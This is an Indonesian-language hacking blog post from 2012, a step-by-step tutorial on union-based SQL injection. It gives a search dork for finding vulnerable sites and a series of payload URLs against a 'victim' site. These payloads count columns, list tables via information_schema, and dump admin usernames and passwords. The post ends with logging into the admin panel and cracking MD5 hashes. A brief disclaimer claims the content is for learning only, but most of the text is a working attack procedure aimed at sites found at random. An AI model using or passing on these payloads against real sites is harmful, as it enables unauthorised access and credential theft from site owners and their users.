SQL injection. Apa & bagaimana? - JU-tech
Headlines News :

/ SMS Gratis

Home » » SQL injection. Apa & bagaimana?

SQL injection. Apa & bagaimana?

Written By Unknown on Friday, April 27, 2012 | 11:52 AM

SQL injection. Apa & bagaimana?, Judulnya keren ya?? hehe peace..
Kali ini saya akan berbagi ilmu hacking yg sebenernya udah banyak yang tahu...tapi gak apa2 lah, namanya juga newbie.

Ketentuan:
Saya tidak bertanggung jawab bila ada penyalahgunaan artikel ini, saya hanya ingin berbagi ilmu.
Dimohon jangan digunakan untuk perbuatan merusak, gunakan untuk pembelajaran saja.

Apa?
SQL injection adalah sebuah teknik yang menyalahgunakan sebuah celah keamanan yang terjadi dalam lapisan basis data sebuah aplikasi. Celah ini terjadi ketika masukan pengguna tidak disaring secara benar dari karakter-karakter pelolos bentukan string yang diimbuhkan dalam pernyataan SQL atau masukan pengguna tidak bertipe kuat dan karenanya dijalankan tidak sesuai harapan. Ini sebenarnya adalah sebuah contoh dari sebuah kategori celah keamanan yang lebih umum yang dapat terjadi setiap kali sebuah bahasa pemrograman atau skrip diimbuhkan di dalam bahasa yang lain.

Bagaimana?
Untuk mencari mencari web target silahkan gunakan dork.
Contoh Dork:
inurl:"view.php?id=
Contoh website:
http://www.victim.com/view.php?id=75


Untuk mengecek bug pada suatu web tambahkan tanda petik  '  dibelakang url.
contoh: http://www.victim.com/view.php?id=75'
jika muncul pesan error berarti web tersebut memiliki bug.
Contoh salah satu error yang keluar:
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near '\' and b.id=a.cat' at line 1
Sekarang kita lanjutkan mencari jumlah kolom.
Untuk mencari kolom gunakan perintah order by
Contoh:
http://www.victim.com/view.php?id=-75+order+by+1--
dimulai dengan angka 1, dst sampai muncul pesan error.


Pada contoh target kali ini, error muncul pada angka 19
http://www.victim.com/view.php?id=-75+order+by+19--
Contoh pesan error:
Unknown column '19' in 'order clause'


Jadi jumlah kolom adalah 19-1 = 18 (jumlah column adalah 18)


Selanjutnya kita akan mencari "angka ajaib/angka togel" dimana kita bisa melakukan injection dengan perintah union select
Contoh:
http://www.victim.com/view.php?id=-75+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--


Akan muncul "angka ajaib/angka togel" : 3, 11 dan 18
Biasanya yang bisa digunakan untuk injection adalah angka yang tebal atau lebih besar dari angka yang lain.
Contoh disini adalah angka 3


Terus kita cari versi Database Mysql-nya dengan perintah version() pada angka 3
Contoh:
http://www.victim.com/view.php?id=-75+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
Muncul tulisan :
5.0.90-community


Ternyata versi 5, kalau misal versi 4 kita harus menebak nama table secara manual, karena pada versi 4 tidak mendukung perintah information_schema.


Selanjutnya kita akan mencari table-nya dengan perintah group_concat(table_name) pada 3
dan +from+information_schema.tables+where+table_schema=database()-- di belakang angka 18
Contoh:
http://www.victim.com/view.php?id=-75+union+select+1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+information_schema.tables+where table_schema=database()--


akan muncul nama-nama table :
Contoh:
admin,banner,product,dealers,news


Selanjutnya kita cari kolom dari table yang ada hubungannya dengan user & password,
kali ini kita ambil table admin.
Sebelumnya kita convert dulu ke hexa
http://easycalculation.com/ascii-hex.php
Masukan input pada String.
Hasilnya yaitu pada Equivalent Hex Value.
Contoh hasil convert admin adalah 61 64 6D 69 6E 
Hilangkan semua spasi pada hasil convert


Selanjutnya adalah mencari kolom pada table admin, perintahnya adalah group_concat(column_name) dan +from+information_schema.columns+where+table_name=0xHEXA-- di akhir url


Ganti HEXA dengan hasil convert tadi yaitu : 61646D696E
0x didepan hexa digunakan agar server mengetahui bahwa itu telah diconvert ke hexa
Contoh:
http://www.victim.com/view.php?id=-75+union+select+1,2,group_concat(column_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+info
rmation_schema.columns+where+table_name=0x61646D696E--


Muncul kolom : user, pass
Untuk melihat isi dari kedua column tersebut gunakan perintah group_concat(KOLOM1,0x3a,KOLOM2) dan +from+NAMATABLE-- pada akhir URL


Ganti KOLOM1 dengan user dan KOLOM2 dengan pass 
0x3a adalah tanda titik dua ( : ) yang telah diconvert ke hexa
NAMA TABLE diganti dengan admin
Contoh:
http://www.victim.com/view.php?id=-75+union+select+1,2,group_concat(user,0x3a,pass),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+admin--

Contoh hasil keuaran pada kolom user & pass yaitu: admin:admin
jadi
user = admin
password = admin

Sekarang anda tinggal mencari halaman admin login, dan masuk dengan masuk dengan user & pass diatas...



Catatan:
Jika ada yang mendapatkan password berupa MD5 seperti 21232f297a57a5a743894a0e4a801fc3 atau yang lainnya, silahkan anda cari hashnya dengan cara mencari di search engine atau menerjemahkannya dengan cara bruteforce.

Sekian & trimakasih.
Semoga bemanfaat ^_^
Share this article :

2 comments:

PENGUNJUNG

 
Support : Creating Website | Johny Template | Mas Template
Proudly powered by Blogger
Copyright © 2011. JU-tech - All Rights Reserved
Original Design by Creating Website Modified by Adiknya